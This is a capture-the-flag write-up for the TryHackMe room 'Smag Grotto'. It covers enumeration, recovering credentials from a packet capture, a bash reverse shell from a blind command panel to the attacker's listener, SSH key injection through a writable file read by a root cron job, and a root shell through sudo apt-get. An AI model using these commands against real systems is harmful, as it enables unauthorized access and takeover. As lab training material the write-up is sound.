Smag Grotto - TryHackMe Writeup

##TryHackMe Room - Smag Grotto

Follow the yellow brick road.

This room involves web enumeration, credential discovery from network captures, blind command execution, and privilege escalation via cron job abuse and sudo misconfiguration.

##Enumeration

###Nmap Scan

Starting with a full TCP port scan to identify exposed services:

bash

nmap -p- -vv -sV <TARGET_IP>

Explanation:

>
```
-p-
```
→ Scan all 65,535 TCP ports
>
```
-vv
```
→ Very verbose output
>
```
-sV
```
→ Service version detection

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp open  http    Apache httpd 2.4.18

Conclusion: SSH is exposed but requires credentials. The HTTP service on port 80 is our primary attack surface.

###Web Application Discovery

Navigating to

http://<TARGET_IP>

returns a static landing page indicating the site is under development. With no visible input fields or functionality, we proceed to directory enumeration.

###Directory Fuzzing

Using

ffuf

with a wordlist and common extensions:

bash

ffuf -u http://<TARGET_IP>/FUZZ \
  -w /usr/share/wordlists/dirb/big.txt \
  -e .txt,.html,.php,.zip,.bak \
  -fs 0 -fc 403

Results:

index.php
mail/

The

/mail/

directory looks promising.

##Mail Portal & Credential Discovery

###Inspecting

/mail/

Navigating to

http://<TARGET_IP>/mail/

We are presented with a web-based mail viewer displaying internal emails.

Key observations:

>References to email2web software
>Mentions of attachments
>
A downloadable file:
```
dHJhY2Uy.pcap
```
(the filename is Base64-encoded; decoding yields
```
trace2
```
)

###Downloading the PCAP File

The attachment is served from a path that appears Base64-encoded. Download it:

bash

wget http://<TARGET_IP>/aW1wb3J0YW50/dHJhY2Uy.pcap

The file is small and likely contains sensitive traffic.

###Inspecting the PCAP

Using

strings

for quick triage:

bash

strings dHJhY2Uy.pcap

Output (excerpt):

POST /login.php HTTP/1.1
Host: development.smag.thm
username=helpdesk&password=<REDACTED>

Credentials discovered:

>
Username:
```
helpdesk
```
>
Password:
```
<REDACTED>
```

This confirms plaintext credential leakage via PCAP—credentials were sent over unencrypted HTTP and captured.

##Virtual Host Enumeration

###Host Resolution

The PCAP references

development.smag.thm

. We add the target and virtual host to

/etc/hosts

bash

echo "<TARGET_IP> smag.thm development.smag.thm" | sudo tee -a /etc/hosts

###Accessing the Development Site

Navigating to

http://development.smag.thm

Directory listing reveals:

login.php
admin.php
materialize.min.css

##Initial Access

###Authentication

Accessing

login.php

and authenticating with the credentials from the PCAP:

>
Username:
```
helpdesk
```
>
Password:
```
<REDACTED>
```

We are redirected to

admin.php

###Blind Command Execution

The admin panel contains a command input form. Testing with

pwd

produces no visible output—indicating blind command execution: commands run server-side but output is suppressed. We can still achieve full compromise by triggering a reverse shell.

###Reverse Shell

Step 1: On the attacker machine, start a netcat listener:

bash

nc -lvnp 4444

Step 2: From the web command interface, execute:

bash

bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'

Result:

www-data@smag:/var/www/development.smag.thm$

Initial foothold achieved as

www-data

Stabilize the shell:

bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

##Local Enumeration (www-data)

###User Discovery

bash

ls /home

Output:

jake

###Inspecting Jake's Home Directory

bash

ls -la /home/jake

We find

user.txt

but get Permission denied when reading it. We must escalate to the

jake

user (or root) to read the user flag.

###Backup Directory Discovery

Enumerating

/opt

bash

ls -la /opt

Output:

.backups

bash

ls -la /opt/.backups

Output:

-rw-rw-rw- jake_id_rsa.pub.backup

Key issue: The file is world-writable and owned by root. It contains what appears to be a public SSH key backup (e.g.

ssh-rsa AAAA... kali@kali

###Cron Job Analysis

Checking system cron:

bash

cat /etc/crontab

Critical entry:

* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys

Interpretation:

>Runs every minute as root
>
Overwrites Jake's
```
authorized_keys
```
with the contents of the backup file
>The source file is world-writable

This is a cron-based privilege escalation vector: we can inject our own public key into

jake_id_rsa.pub.backup

and wait for cron to copy it into Jake's

authorized_keys

##User Flag

###SSH Key Injection Attack

Step 1: On the attacker machine, generate an SSH key pair:

bash

ssh-keygen -t rsa -b 4096 -f chall -N ""

This produces

chall

(private key) and

chall.pub

(public key).

Step 2: From the

www-data

shell, overwrite the backup file with our public key:

bash

echo "PASTE_CONTENT_OF_chall.pub_HERE" > /opt/.backups/jake_id_rsa.pub.backup

Step 3: Wait up to one minute for the cron job to run. It will copy our public key into

/home/jake/.ssh/authorized_keys

Step 4: SSH as

jake

using the private key:

bash

ssh -i chall jake@<TARGET_IP>

Result:

jake@smag:~$

###Reading the User Flag

bash

cat ~/user.txt

User Flag:

<REDACTED>

##Privilege Escalation to Root

###Sudo Enumeration

bash

sudo -l

Output:

(ALL) NOPASSWD: /usr/bin/apt-get

This is a critical misconfiguration:

apt-get

can be abused to gain a root shell. See GTFOBins - apt-get.

###Root via apt-get (GTFOBins)

Using the documented GTFOBins technique:

bash

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash

Result:

root@smag:/tmp#

Root shell achieved.

##Root Flag

bash

cd /root
cat root.txt

Root Flag:

<REDACTED>

Challenge solved!

##Summary

This challenge demonstrated:

>PCAP analysis: Credentials sent over HTTP can be recovered from packet captures.
>
Virtual host discovery: Internal hostnames in traffic (e.g.
```
development.smag.thm
```
) extend the attack surface.
>Blind command execution: Lack of visible output does not prevent reverse shells or full compromise.
>
Cron + world-writable files: Cron jobs that copy from writable files (e.g. into
```
authorized_keys
```
) enable privilege escalation.
>
Sudo misconfiguration: Allowing
```
apt-get
```
(or similar) with NOPASSWD can lead to root via GTFOBins-style abuse.

Smag Grotto - TryHackMe Writeup

##TryHackMe Room - Smag Grotto

##Enumeration

###Nmap Scan

###Web Application Discovery

###Directory Fuzzing

##Mail Portal & Credential Discovery

###Inspecting
`/mail/`

###Downloading the PCAP File

###Inspecting the PCAP

##Virtual Host Enumeration

###Host Resolution

###Accessing the Development Site

##Initial Access

###Authentication

###Blind Command Execution

###Reverse Shell

##Local Enumeration (www-data)

###User Discovery

###Inspecting Jake's Home Directory

###Backup Directory Discovery

###Cron Job Analysis

##User Flag

###SSH Key Injection Attack

###Reading the User Flag

##Privilege Escalation to Root

###Sudo Enumeration

###Root via apt-get (GTFOBins)

##Root Flag

##Summary

##References

##Answers

###Task 1 - Smag Grotto